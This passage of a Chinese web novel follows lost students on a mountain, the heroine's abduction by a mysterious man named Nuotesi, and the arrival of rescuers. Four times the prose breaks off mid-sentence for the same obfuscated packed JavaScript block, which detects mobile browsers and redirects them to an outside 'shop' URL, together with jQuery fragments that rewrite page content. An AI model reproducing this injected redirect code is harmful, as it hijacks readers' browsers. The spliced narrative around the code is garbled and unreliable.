这时候,靠在庄森芽身上的温枣抬高手臂,伸出一根指头晃了晃,“是的,不可以乱走哦,大狗狗。” “噗。”庄森芽没忍住笑了出来。 费洛眨眨眼睛,然后也笑起来,自嘲似的说:“可惜我没有一副狗鼻子,不然早就闻着人味把你们带出去了。” 19. 临时恢复的信号 “没事啦,狗哥,我们一起想办法。”温枣又给对方起了个外号。 “狗、狗哥?”费洛模样有些震惊,好像遭受到了什么打击一样,脸色都有些僵硬。 “这称呼好。”何元楚也在一旁应和,“你好歹都比我们大一岁,叫全名显得太生分,叫你名字单字又显得太亲昵,叫你学长或者哥,你又不愿意,加个狗字中和一下刚刚好。” 费洛抽了抽鼻子,“我怎么听着这么不对劲呢……” 温枣似乎认定了这个昵称,“狗哥,这听着多亲切呀!” 经过这么一番打趣交谈,刚才那些阴霾的情绪已经消失不见了,气氛又变得活泼了起来。 就在这个时候,庄森芽的手机亮了一下,她低头看去,一串消息出现在了手机屏上。 「你在哪?」 「你到底在哪……」 消息密密麻麻的,有来自个人的,也有来自队员群信息的,一时间让人看得眼花缭乱。 “好像有信号了!”庄森芽捧起自己的手机,兴奋地说。 “真的吗?”温枣腾一下子坐了起来,往庄森芽的手机上瞧,发现真的收到了消息之后,也连忙翻出自己的手机,划开屏幕,顿时一脸喜悦,“真的,我也收到信息了!” 另外两个男生也纷纷掏出各自的手机,一时间叮叮咚咚的信息提示响个不停。 “信号突然好起来了。”何元楚说。 “哇靠。”费洛感叹了一声,死死盯着自己的手机屏幕,“所有人都在找我们!” 何元楚翻动着消息,目光上下快速浏览着,“队长他们好像报警了。” 费洛眼睛都睁大了,“我们闹这么大……?” “太好了,要得救了!”温楚抱着自己的手机,扑腾着她的两条腿,然后又紧紧地抱了一下庄森芽,笑得十分开心。 “嗯,是啊,不用在这里过夜了。”庄森芽说。 她说完,手机铃声紧接着响了起来。庄森芽低头看去,有些意外地发现是裴佑哲打过来的电话。 她接起来,还没等说话,对面就传来了焦急的声音,“你在哪?” “佑哲,我们……”庄森芽像抓住了救命稻草一样,想告诉对方他们四人现在的所在,但是她有些茫然的看了一圈周围,发现自己给不出一个具体的答案,“我不知道……我们迷路了,现在在山里的某处。” “就待在那里不要动。”裴佑哲的语气显得有些急切,“救援人员会根据你们的信号位置找过去。” “好。”庄森芽双手握着手机,回答他。 “费洛在你身边吗?”裴佑哲问。 庄森芽看了费洛一眼,“在。” “把电话给他。”说这句话的时候,裴佑哲的声音已经渐渐平静了下来,甚至听起来有些冷淡。 听到这里,庄森芽不禁有些疑惑。 既然要找费洛,裴佑哲干嘛不一开始就给费洛打电话呢?而且对方又是这个组的组长,还比他们都更有经验,裴佑哲理应第一时间给代表整组成员的费洛打电话才对。 “唔,好。”不过,庄森芽还是照对方的意思把手机递给费洛,对他说,“佑哲打来的。” 费洛接过去,手机贴在耳旁,“佑哲,我们——” 他话没说完一半,突然像被噎住了一样,猛吸了一口气,而后什么也不说了。 电话那边传来了一阵人声,听不清具体说的是什么,但能感觉到语气中的愤怒。 费洛捏着手机,目光变得有些游离,他的背越来越弯,浅黄色毛茸茸的脑袋也蔫蔫地垂了下去,“……是,是我。” 他承认了什么,而后手机中的音量更大了,似乎对面的人怒火又拔高了一层。 庄森芽不禁感到疑惑,对面说话的人还是裴佑哲吗?可开学后的这短暂的一周中,她从来没见过他情绪如此激动的时候,那个人总是很冷静,就像是百年无波的湖面一样。 “……对不起。”费洛小声地说,那声音听起来懊悔极了。 对面的人又说了些什么,费洛没再回复,而是把手机还给了庄森芽。 庄森芽困惑地接过来,再度把屏幕贴在自己的耳旁,“佑哲?” “嗯。”对面回应了一声,是裴佑哲的声音,情绪很冷静,和刚才那个模糊的愤怒声响听上去根本不像是一个人。他话筒那边有呼啸的风声,似乎在奔跑,旁边有人□□流的嘈杂声响,“很快就没事了,电话不要挂断。” “好。” 庄森芽心里想着,可能是需要一直保持手机信号以来确定方向吧。 一时没什么可说的,她只是沉默地举着手机,听筒里传来裴佑哲的呼吸声,这感觉就好像他们两个人离得很近一样,有点怪怪的。 “有人要来接我们了吗?”温枣凑过来问。 “是的,我们在这里等着就好。”庄森芽回答她。 温枣举起双手,拧紧拳头,露出一副胜利的姿态,“终于能离开这座黑黢黢的山了!” “森芽。”这时候,电话对面的人叫她。 “怎么了?”她回应。 “……”裴佑哲没有说话。 “佑哲?”她尝试性地呼唤。 怎么叫她的名字却不说话? 就当她还想再次开口询问的时候,突然听筒里传来‘嘟嘟’两声,而后是一阵静默。 她把手机从耳旁拿走,摆在自己眼前,发现突然又没有信号了。 “怎么会这样。”庄森芽愁眉苦脸地盯着手机屏幕,“信号又消失了……” 温枣也点亮自己的手机,眉毛一下子就耷拉了下来,“我的也是……啊,又要变得孤立无援了。” 庄森芽:“没事的,刚才队长说救援人员已经捕捉到我们的信号了,应该已经大概知道我们的方位。等他们走近的时候,应该会有响动传过来,我们到时候就大声呼喊,他们会注意到我们的。” “嗯,好……”温枣打起了一些精神头。 “总之先在这里等待吧。”何元楚说。 四个人还是像刚才那样,如一窝雏鸟一般在一颗茂密的树下团坐在一起。 庄森芽在此刻回想起了刚才那通电话,目光向费洛的方向投望过去,发现对方虽然坐得离他们很近,却是背对着几人的,他看起来似乎有些局促,时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208432|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时抽一下鼻子,又胡乱地抓一把自己的头发,整个人看起来有些混乱。 “费洛,你还好吧?”庄森芽问。 听到这句问话,温枣疑惑地插话进来,“狗哥怎么了?” 她已经把这个昵称当成正式的了,而被她这么称呼的人似乎也没有什么异议。 “嗐,没什么。”费洛说,“就是被佑哲训了一下。” “队长训你吗?”何元楚问。 “他问是不是我把你们带到偏路上去的,我说是,然后他就发火了。”费洛的声音听起来有点委屈,但他紧接着又说,“不过他发火一点问题也没有,我理解,身为组长以及大你们一岁的留级学长,我理应把你们的安危放在第一位,这次的确是我的问题。” 温枣并不赞成,“狗哥,你怎么还在说这种话。不是都说了吗,这次是所有人的责任,是我们一致决定要走到这条路上来的。” “佑哲可不这么认为。”费洛苦笑了一下,随即又换上一副轻松的表情,“不过没事,他没少训我。我心大,睡一觉就忘了。” “没想到他还有这么严厉的一面啊……”庄森芽回想着裴佑哲这几天给自己的印象,不禁有些感慨。 “呃,但也还好了。”费洛突然想起来什么似的,开始替裴佑哲找补,“他对事不对人,实际没那么可怕的。一般情况下,不,绝大多数情况下,他不会随随便便发脾气……” 沙沙。 这个时候,一种很久没出现、但又熟悉的声音在周围响了起来。 庄森芽一下子警觉地坐直了身体,环视附近的情况。 然而,天色太黑,她几乎看不清什么东西。 只是隐隐约约看到,在他们周围不远处的灌木丛里,有一个不是特别清晰的半人高的影子。 庄森芽的心脏一下就提到了嗓子尖,她猛地揪了一下费洛的大腿,后者嗷一嗓子喊了出来。 “那是什么?”她有些惊恐地低声问,指着一旁灌木丛的方向。 众人往她所指的方向看去,那个影子依然停留在那里。 “噫!”温枣发出受惊的声音,抓住了庄森芽的胳膊。 费洛从地上站了起来,“我过去看看。” “小、小心啊。”温枣颤抖着声音说,“有可能是残暴的野猪什么的。” 几人都聚精会神地盯着费洛的背影,看到他十分小心谨慎地凑过去,离那个半人高的影子越来越近。 庄森芽屏息凝神,而在一旁的温枣已经吓得不敢看了,何元楚也半蹲在地上,摆出一副防御的姿态。 费洛来到了那东西的近前,黑影还是没有什么响应,他俯下身去,伸手抓住了那东西,嘴里突然发出单调的声音,“啊。” “怎么了?怎么了?是什么?”温枣发出极快的三连问。 费洛把那东西提了起来,灌木抖动,发出窸窸窣窣的声响。他把它举在身前,往几人所在的方向走回来,边走,他边说道:“是一块木板,摸上去好像是刷过漆的。” “木板?”庄森芽疑惑。 “上面好像写了什么东西,我看不清,你们拿手电筒来照一照。” 20. 有人回来了 闻言,何元楚掏出了手机,打开手电筒。 光线带来小范围的光明,也照亮了那块木板上的内容。 这块板子看起来很旧了,边缘都有些溃烂腐朽,白色的油漆上写着鲜红色的大字。 庄森芽花一秒看完了上面的内容,下一秒倒吸一口冷气,顿时毛骨悚然。 那上面写着:「你们逃不出去」。 何元楚皱起了眉毛,神色不善,“这是什么恶作剧吗……” 费洛低下头来,也看清了自己手里拿着的木板上所写的字。紧接着,他脸色一沉,抓住木板的一角,往自己大腿上一砸,它应声而断,变成两截。 费洛一下子把它扔进了旁边的草丛里,拍拍手上的尘土,“什么鬼东西。” “好可怕……”温枣抱着庄森芽,瑟瑟发抖地说。 庄森芽的心里也七上八下的。 为什么会有一块这样的板子凭空出现在这里?是偶然被他们发现的,还是有人故意放在这里让他们看到,它和之前一直在他们周围游荡的那个黑影有没有什么关系? 越是思考这些,她越是觉得汗毛倒立。 恐惧从脚尖往上攀升,身体像是被蚁群包围了一样。 费洛回到他们的身边,坐下来,露出一个有些勉强的笑,“没事,不要担心……佑哲马上就要来接我们了。” “我想回家……”温枣说。 庄森芽想说些什么安慰的话,可是她内心现在也惴惴不安,连张嘴发声都拿不出足够的勇气,现在说出来的话想必也是动摇不已的,只会让气氛更加人心惶惶。 何元楚没有关闭手电筒,继续让光芒照亮这树下的一隅,抗拒着黑暗的侵入。他看了一眼手机上的时间,说道:“八点多了,距离队长刚才联系上我们已经过了二十多分钟,估计他们已经在这附近了。我去周围探探路,说不定能听到他们走动或者呼喊我们的声音。” “要去吗?”费洛问他。 “现在光是待在这里也没什么用。”何元楚回答。 “那我跟你一起……”费洛说到一半,正要起身,突然想起来什么,看了一下他的另外两个组员,于是又坐了回去,“不,我还是留在这里吧。” 庄森芽对何元楚说:“这会不会太危险了,你要是走丢了怎么办?” “我不会走出去太远,每过一阵,我就会朝你们喊话,你们给我一点回音,如果声音太小,就证明我们之间的距离已经很远了,我就会循声往回走。”何元楚说完从地上站了起来,似乎已经有去探路的打算了。 “小心点,天太黑了,注意脚下的路况。”费洛嘱咐他。 何元楚从树上折下一根还算粗的树枝,权当拐杖,“我每隔半分钟就会呼喊一次,你们只在我呼叫的时候回应我就好。” 庄森芽应道:“好。” 何元楚选择了一个树林看起来不那么密集的方向,毅然决然朝那里走了过去。 他的身影越来越小,渐渐混入了树木之间,手电筒的光也逐渐淡弱,像雾气一样散进了黑暗之中。 半分钟过后,何元楚的声音在远处响了起来,“我在这!” “我们在这!”费洛回应他。 截止目前来看,这个方法似乎没什么问题。 一个半分钟,又是一个半分钟,何元楚的声音越来越小,在小到几乎要听不见的时候,他们听到他说“我要往回走了”。 “回来吧!”费洛大声喊,给何元楚提供了一个方向。 庄森芽有点失落地说:“看样子那边没什么收获。” “说不定下次就成功了。”费洛拿出乐观的态度,“反正东西南北,四个方向我们都试一遍,总会有一个方向能碰上搜救队的。” “嗯。” 叮—— 这时候,庄森芽的手机响起了消息提示的声效,她反应了一下子这是什么声音,然后内心顿时雀跃起来。 连忙掏出手机往上面一看,果然发现屏幕上又多出来好几条新消息。 “又有信号了!”她激动地说。 翻了翻消息,看到有数十通打来的未接电话,最新的消息是裴佑哲发来的,那上面写着:「我一定会找到你」。 一旁的温枣得知有信号了,立刻精神起来,把自己的手机翻出来,开始噼里啪啦在上面打字,打完字,她又拨出去一个电话。 “喂,妈妈。”温枣换上了一种坚强镇定的声音,“我没事,就是在山林里迷路了,马上就有人来救我们了!” 听到温枣给自己的妈妈打电话,庄森芽也赶忙找到家里的群聊,发现爸妈七点的时候在群里问她今天玩得怎么样,但是没有打来电话,可能想的是她正玩得开心,所以没有打扰。 她在输入框编辑好了一段内容,「今天玩得挺好的」。 不打算告诉父母她现在的处境,说出来只会让他们白白担心。反正早晚是会获救的——她如此坚信着——这件事情就当做谈资,将来有机会再跟他们说吧。 她点击发送,消息转着圈,却迟迟没有发送出去。 “喂,妈妈,妈妈?”另一边,温枣呼唤着自己的家人,但似乎听筒的另一边已经没有声音传来了,她将手机从耳旁放下来,有些沮丧地盯着它,“又没信号了。” 庄森芽也看着自己的手机,在家庭群里发的那条消息最终还是没有发送出去。 “什么破信号,一阵好一阵不好的……”她禁不住地吐槽。 “佑哲说他离我们已经很近了。”费洛翻着手机里的消息,荧光在他脸上照出一小块光晕,“应该很快就会找到我们。” “真的吗?”温枣满脸期待。 “他的话还是很靠谱的。”费洛说。 “不一定哦。” 这时,有一个微弱的反对声音响了起来。 三人你看看我,我看看你,又纷纷摇头,表示刚才那句话不是自己说的。 “元楚?”温枣试探性地问,她看向周围黑黢黢的树林,“你回来了吗?” 庄森芽也环视周围,发现在何元楚离开的方向有一个黑影立在那里,像是个木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208433|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杆一样。 “元楚?”庄森芽也呼唤道。 那个黑影还是立在原地,不前进也不再说话。 盯着那个暗影,渐渐地,有一种怪异的情绪从庄森芽的心底升了起来。 何元楚……有这么高吗? “刚才手机又有信号了。”费洛朝那个人影说,“不过又是只恢复了一瞬间。好在得知了一些新的救援进度消息,我们的队长说,他已经离我们很近了。” 对面那个人开口了,“你要不要再看看,那是多少分钟之前发来的消息?” “多少分钟之前?”费洛困惑地低头,紧接着意识到了什么,“啊,是二十分钟之前……我们第一次联系上外面的人也是在二十分钟之前,难道说救援进度一直都没有进展?” “费洛。”庄森芽抓住队友的胳膊,脸色惨白,嗓音压得很低,“那不是元楚的声音……!” 费洛猛地抬起头来,盯着不远处的暗影。 对方还是刚才的姿势,立在那里一动不动。 温枣似乎也一早就反应了过来,有些紧张地问道:“你、你是谁啊?” 对面的人沉吟了一声,“你们当中理应有人认识我才对?” 他这句话说得阴阳顿挫,画尾还带着轻松的诘问意味。 这句话终于让庄森芽回想起了一些不那么美好的回忆。 这个声音她的确很熟悉,一周多之前,就是这个声音的主人闯入女生宿舍,带来了一个到现在庄森芽都很难接受的现实。 她认出了声音的主人,整个人因此愣在了原地。 如果她能看到自己的脸,上面一定写满了不敢置信。 因为,怎么可能呢,他怎么可能会出现在这里?自己明明已经把那人画得伤痕累累,甚至于惨绝人寰,按理来说,他不可能毫发无伤地再出现了啊…… “元楚呢?”温枣问着,四下观望,“为什么元楚还没有回来?” “他迷路了。”对面的人回答。 “迷路?这么短的距离,他迷路了?”费洛看上去有些难以相信。 “我看着他走丢的嘛。” 庄森芽腾一下子站起来,挡在另外两个人的身前,皱眉盯着那个身影,“你想干什么?” 对方似乎轻笑了一声,“别误会,我可没对他做什么。” “……”庄森芽不太信任地盯着那个影子。 笑容中的轻挑,还有这个身形的轮廓…… 对方绝对是诺特斯。 这人在深更半夜出现在这荒无人烟的山里,绝对不可能是什么偶然,他是带着目的来的。 结合他们上一次在医院病房不欢而散的经历,庄森芽怀疑对方现在不怀好意。 虽然不知道为什么男人现在能完好无损地出现在这里,或许一开始那个‘把他画成什么样子他就会变成什么样子’的推论其实站不住脚,但是,医院那时候他的确是受伤了,而且始作俑者无疑就是庄森芽自己,也就是说,诺特斯现在大概率还记恨着她。 他是来报仇的吗? 21. 这山有问题 这时候,对面的那个影子有了动作。 他没有靠近也没有后退,而是往旁边平移了一段距离,隐约是在左右踱步,“我和这座山里的村民聊了聊,这片树林是很久以前村子里的长老精心设计的一个迷宫,是为了困住不敬山神的闯入者。” 温枣在庄森芽后面低声念叨,“怎么听起来这么邪乎……” “能走出去的人寥寥无几,”男人说,“驻马山每年都有游客的失踪报道,只不过近两年被上茂市政府压下去了,所以这座本应被封杀的山又活跃了起来,成了旅游胜地。” 听到男人陈述这一切,庄森芽不禁在心底疑惑。 他是怎么知道这些的,为什么诺特斯还会关注一座平平无奇的野山? “不、不会吧,这树林看起来也不像是迷宫呀。”温枣似乎不太愿意相信对方所说的诡异故事。 “迷宫,迷宫。就是要让人迷失在其中。”诺特斯说,“而最好的方式就是让人自身都无所觉察。” 温枣:“可是这一路上我们也没看到其他遇难者的影子……” “这位粉头发的小姐,”诺特斯声音渐渐压低了,最终只剩悄悄话一般的气音,“你包里的那个蘑菇就是在死人的尸体上长出来的。” “呀——!”温枣一下子把自己的包扯下来扔出去好远。 “你别危言耸听了。”庄森芽面容严厉,不善地冲着那个不远处那个男人,以一种暗示的方式威胁他,“我们很快就会离开这里,马上就会有人来找到我们了。” 所以你也别想做什么。庄森芽在心里说。 “搜救队是找不到你们的,他们不知道‘入口’在哪。”诺特斯又恢复了平常的音量。 庄森芽微微皱眉。 自己刚才应该没有向对方提到过搜救队吧?他怎么知道会是搜救队来找他们,难道他看到了吗? “你好像很了解这里的样子。”费洛朝男人开口。 “了解到没有很了解。”诺特斯说,“但带你们出去还是绰绰有余的。” “你要带我们离开这里吗?”温枣像抓住救命稻草一样问他。 “只要你们肯相信我的话……” “不能相信他!”庄森芽转头对自己的同伴们说。 看到她突然情绪这么激动,身后两人都不知道她这是怎么了,模样都有些意外。 只有庄森芽自己知道这个诺特斯有多可怕,只有她知道他出现在这里绝对不安好心。 “马上队长就要找到我们了,现在就待在这里,哪里都不能去。”庄森芽说。 诺特斯的声音传来,“我不是说了吗?他们是找不到你们的。” “和你没有关系。” “干什么对我这么大的敌意,我只是想帮忙。”他耸了耸肩。 “那还真是谢谢了,可是我们不需要。”庄森芽严辞拒绝。 如果跟这家伙走的话,指不定他会把他们带到哪里去。说不定会把他们抓起来关住,困在什么地方,然后用这几个同伴的性命逼迫庄森芽画漫画,让她给他画一个完满的结局。 这个场景想象起来有点诡异,但也不排除诺特斯真的会这么做。 “好吧……”对面的人似乎放弃了,说了这么一句,然后身影往一旁退去,消失在了一棵树后。 庄森芽紧盯着男人消失的地方,耳朵细细聆听。 半晌,确保听不到任何动静之后,才放下心来一些。 “那个人是谁?”费洛问庄森芽,“你好像对他很戒备的样子,你认识他吗?” 庄森芽转过身来,对自己的伙伴们解释道:“他是个坏人,和我们搭话肯定心怀鬼胎……” 而就当说话的时候,她看到面前的费洛一下子睁大了眼睛,指着她的背后,模样很惊讶,张着嘴,一时没有说出话来。 庄森芽隐隐感觉到一丝危机,但是在她有任何反应之前,已经来不及了。 口鼻一下子被捂住,一条强壮的胳膊从她腰侧探出来,猛地收紧,将整个人控制住,甚至把她带得有点双脚离地。 “唔!”庄森芽只来得及发出一声惊呼,就感觉自己全身被一股大力钳制得动弹不得。 她看到眼前的温枣和费洛露出惊恐的表情,又听到自己耳畔传来鬼魅一般的低语。 “那就当我是坏人吧。” 是诺特斯的声音。 他是什么时候出现在她背后的?! “你想干什么?”费洛站起来,朝两人所在的方向逼近,“放开她!” 诺特斯自然没有按她说的做。他带着庄森芽往后退,力道不容抵抗,任她如何挣扎,钳制的手臂都像是磐石一般纹丝不动。 眼看着费洛跟了上来,温枣也紧随其后,庄森芽想大声告诉他们两人不要追上来,追上来就正中了这个人的下怀。可是无论她怎么大喊,困在手掌中的话语都变成了模糊不清的呜呜声。 怎么办?该怎么办?这样下去,他们说不定真的要变成失踪人口了! 想到这里,庄森芽愈发剧烈地挣扎起来。 对方捂着她的嘴,擒着她的腰,把人提起来不让她双脚着地。 既然这样,那就只好用双手去反抗。 她反手一抓,抓到了一个蓬松柔软的东西,想也没想,发力撕扯,就听到身后传来一阵吃痛的叫声。 “欸——” 她后知后觉地反应过来,那应该是对方的头发。 庄森芽没有收手,两只手都用了上去,发疯的架势像是恨不得把对方整个头皮都拽下来。 而就在她胡乱撕扯的时候,突然手里一空,身子也感觉蓦然腾空了,刚才还捂着她嘴的手掌和钳制着的腰部的手臂都骤然松开。 失重感袭来,她不知道发生了什么,一时脑海一片空白,下意识紧闭上眼。 然而,预料之中的撞击没有到来,有什么东西接住了他。 庄森芽睁开双眼,剧烈的摇晃过后,挂满了星云的天幕出现在了她的视野中。 与此同时出现在眼前的,还有诺特斯那张脸。 他呲牙笑着,暗金色的眼睛危险地眯起来,额前的卷发本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208434|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就扭曲,现在更显得凌乱,“还真是不能小看你啊。” 他刚才做了什么?庄森芽有点惊魂未定地想着。 刚才一瞬间,男人和她接触的部分好像一下子就消失了,难道说他用了隐身之类的技能吗? 男人趁她震惊的空档,抓住两只手腕,再一次限制住了她的自由。 “放开我!”庄森芽喊道。 诺特斯不为所动,拖着她又开始在树林间穿梭。 与此同时,温枣和费洛依然死死地在后面紧追不舍,双方展开了一种你追我跑的拉锯战。 庄森芽不由想道,这样下去不行,大家都会被这个男人带跑偏,得想办法从他手里挣脱出来。 可是到底该怎么做?本来力量上就不敌对方,诺特斯还有那种耍赖一样的能力,但凡她想对他做什么,他都可以隐身,从而毫无风险地躲过,然后再现身反制她,就像他刚才做的那样。 突然,庄森芽灵机一动。 她想着,对方做这些的目的不就是让她把他的结局画得好看一点吗?从这一点入手的话,说不定还有谈判的余地。 “等等,等一下,我们聊聊吧。”她对诺特斯说。 “嗯?聊什么?”诺特斯不解地低下头来问她。 都这个时候了还在装傻,看样子对方是铁了心要让她先做出妥协,“就是漫画的事情,我们正式谈谈吧。” “哦,那个啊。”对方仿佛才想起来这回事似的,“现在怎么看都不是个好时机吧,有什么想说的之后再说。” ? 他怎么还反倒不紧不慢起来了,不是他一开始急着要让她停笔改结局吗?怎么现在又是一副无所谓的样子…… 这人到底在想什么啊? 庄森芽还想说些什么,但是从前方传来的一阵呼唤声打断了她。 “温枣,森芽,狗哥,你们在这附近吗——?”是何元楚的声音。 追着前方两人的费洛和温枣听到了呼唤,连忙回应,“元楚,我们在这里!” 不远处,何元楚的身影在一片树林间出现了,他抓着自己的手机,手电筒的光亮打过来,照亮了在他眼前一晃而过的诺特斯和庄森芽。他惊讶地看着与他擦肩而过的两人,模样毫无头绪,像是完全不理解发生了什么一般。 “元楚,你刚才去哪儿了?”费洛跑上前问他,他没有停下脚步,路过何元楚之后又紧接着继续追着诺特斯和庄森芽的背影。 “我走着走着就迷路了……”何元楚来回看着前后追逐的人们,模样十分困惑,“你们,这是在干什么?” 有些落后的温枣也马不停蹄地追上来,指着最前方的两个人,“那个人,那个人把森芽抓走了!” “……什么?”何元楚一脸迷茫。 温枣路过何元楚,喊着,“总而言之,快点追上他!不然森芽就要被带走了!” 听她这么说,明显还有些困惑的何元楚立刻加入了追人的队伍。 他一下子就超过了温枣,不过一阵就追上了前方的费洛,与诺特斯的身影越来越近。 22. 得救了! 看到何元楚的身影,庄森芽有些讶异。 他们距离刚才停留的那棵树旁似乎已经跑出来很远了,何元楚怎么会来到这么远的地方?他那时不是和几人说会往回走吗?而且刚才他们双方都已经用呼唤互相确认了位置,按理来说,何元楚循着声音不会走不回去。 难道真的像诺特斯说的那样,这片树林就是个迷境,而身处其中的人都会迷失其中…… 挟持着庄森芽的诺特斯回头看了就快追上他的何元楚一眼,他哼笑一声,一个紧急拐弯,面朝一个陡坡跑了过去。到了近前,他几乎没有减速,把庄森芽抛出去,而后又一跃而下。 失重感让庄森芽惊叫出声,但再一次被稳稳地接住了。 诺特斯把她像一个麻袋一样扛在肩上,像在运送什么货物一般。 他似乎对这附近的地形很了解,跑得并不快,更多是在颠着脚步,甚至有时会惬意地走两下,就像是在调戏捉老鼠的猫一样,总能借对环境的了解甩开后面的人一大截。 “你到底想把我们带到哪去!?”庄森芽撑起自己的上身,朝对方的后脑勺质问。 “能不能别对恩人大喊大叫。”诺特斯环顾着四周,似乎在判断接下来要走的路。 “恩人?” “别告诉我你这么快就忘了在施工楼里我替你解围的场景。” 庄森芽短暂地回忆了一下,确实有这么回事。 当时她被闯入校内的社会人士盯上了,两个壮汉想强行把她带走,是诺特斯把那两个人通过不知道什么方式打昏了过去,自己才得以逃脱。 虽然是这样,但别指望她因为这点就感激他,“那还不是因为你有求于我,才想卖我个人情?” 听到这句话,诺特斯回头看了她一眼,语调颇为阴阳怪气地说:“人真是不可貌相啊,没想到披着这么灵动的皮囊,心却是石头做的。” “放我下来,我知道你想要什么,没必要这样舍近求远。”庄森芽恐吓他,“你要是在我们这个世界实施绑架可以算是犯罪,将来会怎么样我可说不准啊!” 她不知道这番话能不能吓住对方,但她知道,就算警察来了,恐怕也不能拿诺特斯怎么样。 而且,这人肯定对自己的能力有着绝对的自信,他也知道普通人奈何不了他。 刚才那番话肯定要被他嘲讽一番了。 但没想到,诺特斯却渐渐停下了脚步,然后就居然这么把她放了下来。 双脚落在地面的时候,庄森芽还有点没反应过来。 她抬起头来盯着眼前的男人,看到对方脸上是一副似笑非笑的表情。 “你……”庄森芽不知道对方这是怎么了,男人的举动在她眼中一直都很奇怪,捉摸不透。她断定这是对方打算正式聊聊的意思,于是开口,“这不是能好好听人说话吗,一开始这样不就好了……” “不用谢我。”诺特斯垂眼看着她,月光打下来,在他黑色的卷发上镀上一层银边,把一直萦绕在他周身的那种凶神恶煞的气质驱散了少许。 庄森芽盯着眼前这个看起来竟有些无害的男人,这才看清他穿着一身浅白色的风衣,里面打底的衬衫也是淡色系的,看上去就像是欧洲街头的行人,和上次医院里那副煞神的模样比起来简直判若两人,“有什么好谢你的……” 诺特斯往后退了一步,树影遮住了倾洒而下月光,身影融进了背后的黑暗之中。他没有回话。 “喂……!”对方消失了,庄森芽刚想追上去,却猛地停步。 追什么呀?自己给自己找麻烦吗?她巴不得对方消失呢,最好再也不要出现。 “森芽——!”温枣的呼唤声远远传来。 庄森芽望过去,看到自己的三个伙伴都追了上来。首先跑过来的是何元楚,而后是气喘吁吁的费洛,最后是上气不接下气的的温枣。 “没事吧……”温枣脸色明显比脖子红了好几度,看起来都快要跑断气了,但还是不忘了凑上前来询问庄森芽的情况。粉头发的女孩上下打量了被挟持的组员一番,又把她从上到下摸了个遍,确认她没有哪里受伤之后,模样这才安下心来,“吓死我了,那个人刚才突然抓了你就跑。真是太邪门了,怎么这大山里还有人贩子啊。” 费洛围着庄森芽绕场一周,没在她身上发现什么伤口之类的,这才环视了一圈周围,“那个人去哪了?” “应该……跑了。”庄森芽望着诺特斯消失的方向,直到现在她也搞不明白对方这次现身是为了什么。 突然出现,又突然消失,不谋财害命,也不聊聊所谓的‘正经事’,就好像是专程为了给他们讲一个恐怖故事而现身的一样。 怪人。 庄森芽点评道。 又怪又邪恶的坏人,脾气怪异的大反派。 何元楚回头看了一眼漆黑的森林,朝组员们说:“我们距离上一个落脚点已经跑出来太远了,中途也没来得及留记号,现在想原路返回是不太可能了。” “这下怎么办,我们要是不回去的话,队长他们还能找到我们吗?”温枣忧心忡忡地问。 “不确定。”何元楚如实说,“只能寄希望于手机信号再恢复一次,或许还能借机联系上他们。” 费洛提议:“换个地方吧,保不准刚才那个人还会回来。” 温枣凑过来,搂住庄森芽的肩,似乎是想通过这样的动作保护她,“走吧,离开这里,躲那个人远远的。” 庄森芽:“嗯,好。” 何元楚摆弄了一下自己的手机,朝他们问:“我的手机已经没电了,你们谁的电量还多一点,我们需要照明。” “我的还有电……”庄森芽摸向自己的口袋,却感觉那里空空如也,她倒吸了一口冷气,立刻低下头去把口袋敞开又确认了一遍,依然在里面连半个手机的影子都没有看到,浑身上下摸索了一番,把所有的口袋都翻了个遍,可还是一无所获,“糟了,可能是掉在路上了。” 刚才诺特斯把她又是颠又是抛的,很有可能手机在那个过程中被甩飞了出去。 可恶,居然把她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208435|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一个皮球一样对待,那家伙性格果然太恶劣了。 “现在也不能回去找了——”何元楚刚要说什么,突然一束光亮从树林间打了过来。 那束穿透力极强的光一晃,又照去了别的方向,好似海边灯塔上的照明。 “是手电筒!”温枣模样十分惊喜。 那一束光线晃过之后,又有几束照了过来,源头处似乎聚集着一群人。 “我们在这!”温枣挥舞着手臂,面朝着光源的方向。 